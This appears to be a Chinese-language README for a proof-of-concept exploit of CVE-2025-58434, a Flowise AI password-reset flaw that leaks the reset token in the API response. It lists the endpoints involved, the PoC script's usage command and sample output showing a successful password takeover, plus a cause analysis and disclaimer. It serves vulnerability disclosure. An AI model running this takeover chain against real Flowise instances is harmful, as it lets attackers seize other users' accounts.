CVE ID: CVE-2025-58434
受影响软件: Flowise AI
受影响版本: <= 3.0.5
修复版本: 3.0.6 及更高版本
严重程度: 严重
作者: r3nsi15
日期: 2025
Flowise AI 3.0.5 及更早版本在密码重置流程中存在认证缺陷。/api/v1/account/forgot-password 端点在其 API 响应中直接返回临时重置令牌(tempToken),无需任何形式的预先认证或电子邮件验证。
知道(或能枚举)有效电子邮件地址的未认证攻击者可执行以下操作:
tempToken。此漏洞完全绕过了本应基于电子邮件的验证流程,因为令牌是在 HTTP 响应中泄露的,而不是仅发送到账户所有者的收件箱。
| 端点 | 方法 | 用途 |
|---|
/api/v1/auth/login | POST | 用于验证电子邮件账户是否存在 |
/api/v1/account/forgot-password | POST | 触发重置并在响应中泄露 tempToken |
/api/v1/account/reset-password | POST | 使用令牌完成密码更改 |
文件: CVE-2025-58434_POC.py
requests 库pip install requests
python3 CVE-2025-58434_POC.py -e <target_email> -u <target_url> [-p <new_password>]
| 标志 | 长格式 | 必需 | 描述 |
|---|---|---|---|
-e | --email | 是 | 目标账户电子邮件地址 |
-u | --url | 是 | Flowise 实例的基础 URL |
-p | --password | 否 | 要设置的新密码(默认为 password) |
python3 CVE-2025-58434_POC.py -e [email protected] -u https://flowise.example.com -p P@ssw0rd!
[+] Email [email protected] exists!
[!] Sending forgot password request
[!] Sending reset password request
[+] Password Changed Successfully to: P@ssw0rd!
密码重置 API 的设计是将 tempToken 发送到用户邮箱,但服务器也将其直接包含在 JSON 响应体中。这意味着任何调用者(无论是否认证)在发出请求后立即收到令牌,使得电子邮件发送步骤变得无关紧要。
此外,电子邮件枚举之所以可行,是因为登录端点仅在电子邮件存在时返回不同的错误消息("Incorrect Email or Password"),使得在发起攻击前轻松确认有效账户。
tempToken 仅通过已注册的电子邮件地址传输。此概念验证仅用于教育和授权安全研究目的。在未经明确书面许可的情况下对系统使用此脚本是非法且不道德的。作者和贡献者不对滥用行为承担任何责任。